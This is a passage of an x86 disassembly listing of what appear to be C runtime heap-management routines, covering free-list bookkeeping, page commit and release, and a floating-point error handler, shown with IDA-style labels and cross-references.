sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41B727
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_41B693
push 3Fh
pop edi
loc_41B693: ; CODE XREF: sub_41B592+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41B715
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41B6EC
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41B6DF
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41B6DF: ; CODE XREF: sub_41B592+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_41B711
; ---------------------------------------------------------------------------
loc_41B6EC: ; CODE XREF: sub_41B592+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41B702
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41B702: ; CODE XREF: sub_41B592+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_41B711: ; CODE XREF: sub_41B592+158j
shr edx, cl
or [eax], edx
loc_41B715: ; CODE XREF: sub_41B592+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41B72A
; ---------------------------------------------------------------------------
loc_41B727: ; CODE XREF: sub_41B592+E5j
mov edx, [ebp+arg_4]
loc_41B72A: ; CODE XREF: sub_41B592+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_41B880
; ---------------------------------------------------------------------------
loc_41B739: ; CODE XREF: sub_41B592+52j
; sub_41B592+5Cj
xor eax, eax
jmp loc_41B883
; ---------------------------------------------------------------------------
loc_41B740: ; CODE XREF: sub_41B592+49j
jge loc_41B880
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41B76B
push 3Fh
pop esi
loc_41B76B: ; CODE XREF: sub_41B592+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41B7FA
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41B784
push 3Fh
pop esi
loc_41B784: ; CODE XREF: sub_41B592+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_41B7D3
cmp esi, 20h
jnb short loc_41B7AF
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_41B7D0
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41B7D0
; ---------------------------------------------------------------------------
loc_41B7AF: ; CODE XREF: sub_41B592+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41B7D0
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41B7D0: ; CODE XREF: sub_41B592+214j
; sub_41B592+21Bj ...
mov ebx, [ebp+arg_4]
loc_41B7D3: ; CODE XREF: sub_41B592+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41B7FA
push 3Fh
pop esi
loc_41B7FA: ; CODE XREF: sub_41B592+1DDj
; sub_41B592+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41B877
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_41B84E
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41B841
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41B841: ; CODE XREF: sub_41B592+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41B873
; ---------------------------------------------------------------------------
loc_41B84E: ; CODE XREF: sub_41B592+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41B864
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41B864: ; CODE XREF: sub_41B592+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41B873: ; CODE XREF: sub_41B592+2BAj
shr edx, cl
or [eax], edx
loc_41B877: ; CODE XREF: sub_41B592+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_41B880: ; CODE XREF: sub_41B592+1A2j
; sub_41B592:loc_41B740j
push 1
pop eax
loc_41B883: ; CODE XREF: sub_41B592+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_41B592 endp
; =============== S U B R O U T I N E =======================================
sub_41B888 proc near ; CODE XREF: sub_41BB80:loc_41BD4Fp
cmp dword_4397D0, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_41B89C
mov esi, offset off_4397C0
jmp short loc_41B8B9
; ---------------------------------------------------------------------------
loc_41B89C: ; CODE XREF: sub_41B888+Bj
push 2020h
push 0
push dword_48B684
call near ptr 26F0000h
nop
mov esi, eax
test esi, esi
jz loc_41B9C5
loc_41B8B9: ; CODE XREF: sub_41B888+12j
mov ebp, dword_4241B4
push 4
push 2000h
push 400000h
push 0
call ebp
mov edi, eax
test edi, edi
jz loc_41B9AE
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp
test eax, eax
jz loc_41B9A0
mov eax, offset off_4397C0
cmp esi, eax
jnz short loc_41B918
cmp off_4397C0, 0
jnz short loc_41B908
mov off_4397C0, eax
loc_41B908: ; CODE XREF: sub_41B888+79j
cmp off_4397C4, 0
jnz short loc_41B92D
mov off_4397C4, eax
jmp short loc_41B92D
; ---------------------------------------------------------------------------
loc_41B918: ; CODE XREF: sub_41B888+70j
mov [esi], eax
mov eax, off_4397C4
mov [esi+4], eax
mov off_4397C4, esi
mov eax, [esi+4]
mov [eax], esi
loc_41B92D: ; CODE XREF: sub_41B888+87j
; sub_41B888+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_41B94F: ; CODE XREF: sub_41B888+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_41B94F
push ebx
push 0
push edi
call sub_417330
add esp, 0Ch
loc_41B978: ; CODE XREF: sub_41B888+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_41B99C
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_41B978
; ---------------------------------------------------------------------------
loc_41B99C: ; CODE XREF: sub_41B888+F7j
mov eax, esi
jmp short loc_41B9C7
; ---------------------------------------------------------------------------
loc_41B9A0: ; CODE XREF: sub_41B888+63j
push 8000h
push 0
push edi
nop
call near ptr 2830643h
loc_41B9AE: ; CODE XREF: sub_41B888+4Bj
cmp esi, offset off_4397C0
jz short loc_41B9C5
push esi
push 0
push dword_48B684
nop
call near ptr 26E0000h
loc_41B9C5: ; CODE XREF: sub_41B888+2Bj
; sub_41B888+12Cj
xor eax, eax
loc_41B9C7: ; CODE XREF: sub_41B888+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41B888 endp
; =============== S U B R O U T I N E =======================================
sub_41B9CC proc near ; CODE XREF: sub_41BA22+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
nop
call near ptr 2830643h
cmp off_43B7E0, esi
jnz short loc_41B9F1
mov eax, [esi+4]
mov off_43B7E0, eax
loc_41B9F1: ; CODE XREF: sub_41B9CC+1Bj
cmp esi, offset off_4397C0
jz short loc_41BA19
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_48B684
nop
call near ptr 26E0000h
pop esi
retn
; ---------------------------------------------------------------------------
loc_41BA19: ; CODE XREF: sub_41B9CC+2Bj
or dword_4397D0, 0FFFFFFFFh
pop esi
retn
sub_41B9CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BA22 proc near ; CODE XREF: sub_41BB3B+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_4397C4
push edi
loc_41BA2F: ; CODE XREF: sub_41BA22+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_41BACD
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41BA48: ; CODE XREF: sub_41BA22+72j
cmp dword ptr [edi], 0F0h
jnz short loc_41BA89
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
call near ptr 2830643h
nop
test eax, eax
jz short loc_41BA89
or dword ptr [edi], 0FFFFFFFFh
dec dword_48A07C
mov eax, [esi+0Ch]
test eax, eax
jz short loc_41BA7E
cmp eax, edi
jbe short loc_41BA81
loc_41BA7E: ; CODE XREF: sub_41BA22+56j
mov [esi+0Ch], edi
loc_41BA81: ; CODE XREF: sub_41BA22+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_41BA96
loc_41BA89: ; CODE XREF: sub_41BA22+2Cj
; sub_41BA22+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_41BA48
loc_41BA96: ; CODE XREF: sub_41BA22+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_41BACD
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_41BACD
push 1
lea eax, [ecx+20h]
pop edx
loc_41BAAD: ; CODE XREF: sub_41BA22+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41BABE
inc edx
add eax, 8
cmp edx, 400h
jl short loc_41BAAD
loc_41BABE: ; CODE XREF: sub_41BA22+8Ej
cmp edx, 400h
jnz short loc_41BACD
push ecx
call sub_41B9CC
pop ecx
loc_41BACD: ; CODE XREF: sub_41BA22+11j
; sub_41BA22+7Dj ...
cmp esi, off_4397C4
jz short loc_41BADF
cmp [ebp+arg_0], 0
jg loc_41BA2F
loc_41BADF: ; CODE XREF: sub_41BA22+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_41BA22 endp
; =============== S U B R O U T I N E =======================================
sub_41BAE4 proc near ; CODE XREF: sub_417C3B+3Ap
; sub_41944F+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_4397C0
push esi
mov ecx, edx
loc_41BAF0: ; CODE XREF: sub_41BAE4+1Cj
cmp eax, [ecx+10h]
jbe short loc_41BAFA
cmp eax, [ecx+14h]
jb short loc_41BB02
loc_41BAFA: ; CODE XREF: sub_41BAE4+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_41BB37
jmp short loc_41BAF0
; ---------------------------------------------------------------------------
loc_41BB02: ; CODE XREF: sub_41BAE4+14j
test al, 0Fh
jnz short loc_41BB37
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_41BB37
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_41BB37: ; CODE XREF: sub_41BAE4+1Aj
; sub_41BAE4+20j ...
xor eax, eax
pop esi
retn
sub_41BAE4 endp
; =============== S U B R O U T I N E =======================================
sub_41BB3B proc near ; CODE XREF: sub_417C3B+4Dp
; sub_41944F+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_41BB7F
inc dword_48A07C
cmp dword_48A07C, 20h
jnz short locret_41BB7F
push 10h
call sub_41BA22
pop ecx
locret_41BB7F: ; CODE XREF: sub_41BB3B+2Bj
; sub_41BB3B+3Aj
retn
sub_41BB3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BB80 proc near ; CODE XREF: sub_417BC7+4Ap
; sub_41944F+1ACp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_43B7E0
push edi
loc_41BB8E: ; CODE XREF: sub_41BB80+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_41BC39
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_41BBF3
loc_41BBB9: ; CODE XREF: sub_41BB80+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_41BBDC
cmp [edi+4], ebx
jbe short loc_41BBDC
push ebx
push ecx
push eax
call sub_41BD88
add esp, 0Ch
test eax, eax
jnz short loc_41BC4B
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_41BBDC: ; CODE XREF: sub_41BB80+40j
; sub_41BB80+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_41BBB9
jmp short loc_41BBF6
; ---------------------------------------------------------------------------
loc_41BBF3: ; CODE XREF: sub_41BB80+37j
mov ebx, [ebp+arg_0]
loc_41BBF6: ; CODE XREF: sub_41BB80+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_41BC3C
loc_41BC09: ; CODE XREF: sub_41BB80+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_41BC28
cmp [edi+4], ebx
jbe short loc_41BC28
push ebx
push eax
push [ebp+var_4]
call sub_41BD88
add esp, 0Ch
test eax, eax
jnz short loc_41BC4B
mov [edi+4], ebx
loc_41BC28: ; CODE XREF: sub_41BB80+8Dj
; sub_41BB80+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_41BC09
jmp short loc_41BC3C
; ---------------------------------------------------------------------------
loc_41BC39: ; CODE XREF: sub_41BB80+14j
mov ebx, [ebp+arg_0]
loc_41BC3C: ; CODE XREF: sub_41BB80+87j
; sub_41BB80+B7j
mov esi, [esi]
cmp esi, off_43B7E0
jz short loc_41BC5B
jmp loc_41BB8E
; ---------------------------------------------------------------------------
loc_41BC4B: ; CODE XREF: sub_41BB80+54j
; sub_41BB80+A3j
mov off_43B7E0, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_41BD83
; ---------------------------------------------------------------------------
loc_41BC5B: ; CODE XREF: sub_41BB80+C4j
mov eax, offset off_4397C0
mov edi, eax
loc_41BC62: ; CODE XREF: sub_41BB80+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_41BC6E
cmp dword ptr [edi+0Ch], 0
jnz short loc_41BC7A
loc_41BC6E: ; CODE XREF: sub_41BB80+E6j
mov edi, [edi]
cmp edi, eax
jz loc_41BD4F
jmp short loc_41BC62
; ---------------------------------------------------------------------------
loc_41BC7A: ; CODE XREF: sub_41BB80+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_41BCA9
loc_41BC98: ; CODE XREF: sub_41BB80+127j
cmp [ebp+var_4], 10h
jge short loc_41BCA9
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41BC98
loc_41BCA9: ; CODE XREF: sub_41BB80+116j
; sub_41BB80+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
call near ptr 2830702h
nop
cmp eax, esi
jnz loc_41BD81
push 0
push [ebp+var_8]
push esi
call sub_417330
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_41BD10
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_41BCE6: ; CODE XREF: sub_41BB80+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_41BCE6
loc_41BD10: ; CODE XREF: sub_41BB80+15Ej
mov off_43B7E0, edi
lea eax, [edi+2018h]
loc_41BD1C: ; CODE XREF: sub_41BB80+1A8j
cmp ecx, eax
jnb short loc_41BD2C
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41BD2A
add ecx, 8
jmp short loc_41BD1C
; ---------------------------------------------------------------------------
loc_41BD2A: ; CODE XREF: sub_41BB80+1A3j
cmp ecx, eax
loc_41BD2C: ; CODE XREF: sub_41BB80+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_41BD83
; ---------------------------------------------------------------------------
loc_41BD4F: ; CODE XREF: sub_41BB80+F2j
call sub_41B888
test eax, eax
jz short loc_41BD81
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_43B7E0, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_41BD83
; ---------------------------------------------------------------------------
loc_41BD81: ; CODE XREF: sub_41BB80+143j
; sub_41BB80+1D6j
xor eax, eax
loc_41BD83: ; CODE XREF: sub_41BB80+D6j
; sub_41BB80+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41BB80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BD88 proc near ; CODE XREF: sub_41BB80+4Ap
; sub_41BB80+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_41BDCD
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_41BDBC
add [ecx], edx
sub [ecx+4], edx
jmp short loc_41BDC5
; ---------------------------------------------------------------------------
loc_41BDBC: ; CODE XREF: sub_41BD88+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41BDC5: ; CODE XREF: sub_41BD88+32j
lea eax, [edi+8]
jmp loc_41BE9B
; ---------------------------------------------------------------------------
loc_41BDCD: ; CODE XREF: sub_41BD88+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_41BDD6
mov eax, esi
loc_41BDD6: ; CODE XREF: sub_41BD88+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_41BE20
loc_41BDDD: ; CODE XREF: sub_41BD88+96j
mov bl, [eax]
test bl, bl
jnz short loc_41BE13
push 1
lea ebx, [eax+1]
pop esi
loc_41BDE9: ; CODE XREF: sub_41BD88+68j
cmp byte ptr [ebx], 0
jnz short loc_41BDF2
inc ebx
inc esi
jmp short loc_41BDE9
; ---------------------------------------------------------------------------
loc_41BDF2: ; CODE XREF: sub_41BD88+64j
cmp esi, edx
jnb short loc_41BE44
cmp eax, [ebp+var_4]
jnz short loc_41BE00
mov [ecx+4], esi
jmp short loc_41BE0C
; ---------------------------------------------------------------------------
loc_41BE00: ; CODE XREF: sub_41BD88+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_41BEA5
loc_41BE0C: ; CODE XREF: sub_41BD88+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41BE18
; ---------------------------------------------------------------------------
loc_41BE13: ; CODE XREF: sub_41BD88+59j
movzx esi, bl
add eax, esi
loc_41BE18: ; CODE XREF: sub_41BD88+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_41BDDD
loc_41BE20: ; CODE XREF: sub_41BD88+53j
lea esi, [ecx+8]
loc_41BE23: ; CODE XREF: sub_41BD88+EBj
; sub_41BD88+F2j
cmp esi, edi
jnb short loc_41BEA5
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_41BEA5
mov al, [esi]
test al, al
jnz short loc_41BE75
push 1
lea ebx, [esi+1]
pop eax
loc_41BE3B: ; CODE XREF: sub_41BD88+BAj
cmp byte ptr [ebx], 0
jnz short loc_41BE65
inc ebx
inc eax
jmp short loc_41BE3B
; ---------------------------------------------------------------------------
loc_41BE44: ; CODE XREF: sub_41BD88+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41BE55
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_41BE5E
; ---------------------------------------------------------------------------
loc_41BE55: ; CODE XREF: sub_41BD88+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_41BE5E: ; CODE XREF: sub_41BD88+CBj
mov [eax], dl
add eax, 8
jmp short loc_41BE9B
; ---------------------------------------------------------------------------
loc_41BE65: ; CODE XREF: sub_41BD88+B6j
cmp eax, edx
jnb short loc_41BE7C
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_41BEA5
mov esi, ebx
jmp short loc_41BE23
; ---------------------------------------------------------------------------
loc_41BE75: ; CODE XREF: sub_41BD88+ABj
movzx eax, al
add esi, eax
jmp short loc_41BE23
; ---------------------------------------------------------------------------
loc_41BE7C: ; CODE XREF: sub_41BD88+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41BE8D
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_41BE96
; ---------------------------------------------------------------------------
loc_41BE8D: ; CODE XREF: sub_41BD88+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41BE96: ; CODE XREF: sub_41BD88+103j
mov [esi], dl
lea eax, [esi+8]
loc_41BE9B: ; CODE XREF: sub_41BD88+40j
; sub_41BD88+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_41BEA7
; ---------------------------------------------------------------------------
loc_41BEA5: ; CODE XREF: sub_41BD88+7Ej
; sub_41BD88+9Dj ...
xor eax, eax
loc_41BEA7: ; CODE XREF: sub_41BD88+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_41BD88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BEAC proc near ; CODE XREF: sub_41944F+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_41BEE6
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_41BF46
; ---------------------------------------------------------------------------
loc_41BEE6: ; CODE XREF: sub_41BEAC+26j
jnb short loc_41BF4D
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_41BF4D
lea eax, [ecx+edx]
loc_41BEFB: ; CODE XREF: sub_41BEAC+59j
cmp eax, esi
jnb short loc_41BF09
cmp byte ptr [eax], 0
jnz short loc_41BF07
inc eax
jmp short loc_41BEFB
; ---------------------------------------------------------------------------
loc_41BF07: ; CODE XREF: sub_41BEAC+56j
cmp eax, esi
loc_41BF09: ; CODE XREF: sub_41BEAC+51j
jnz short loc_41BF4D
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_41BF41
cmp esi, eax
jbe short loc_41BF41
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_41BF38
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_41BF33
loc_41BF2C: ; CODE XREF: sub_41BEAC+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_41BF2C
loc_41BF33: ; CODE XREF: sub_41BEAC+7Ej
mov [ebx+4], eax
jmp short loc_41BF41
; ---------------------------------------------------------------------------
loc_41BF38: ; CODE XREF: sub_41BEAC+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_41BF41: ; CODE XREF: sub_41BEAC+68j
; sub_41BEAC+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_41BF46: ; CODE XREF: sub_41BEAC+38j
mov [ebp+var_4], 1
loc_41BF4D: ; CODE XREF: sub_41BEAC:loc_41BEE6j
; sub_41BEAC+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41BEAC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_41BF55(int,int,double,int)
sub_41BF55 proc near ; CODE XREF: sub_417CA4+51p
; sub_417DEB+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_43BF38, 0
jnz short loc_41BF8A
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_41C50A
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41BF8A: ; CODE XREF: sub_41BF55+Aj
push 0FFFFh
mov dword_48A014, 21h
push [ebp+arg_C]
call sub_41C77D
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_41BF55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41BFA8(int,int,double,double,int)
sub_41BFA8 proc near ; CODE XREF: sub_417CA4:loc_417D67p
; sub_417DEB:loc_417EAEp
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_41C2F3
add esp, 0Ch
test eax, eax
jnz short loc_41BFE6
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
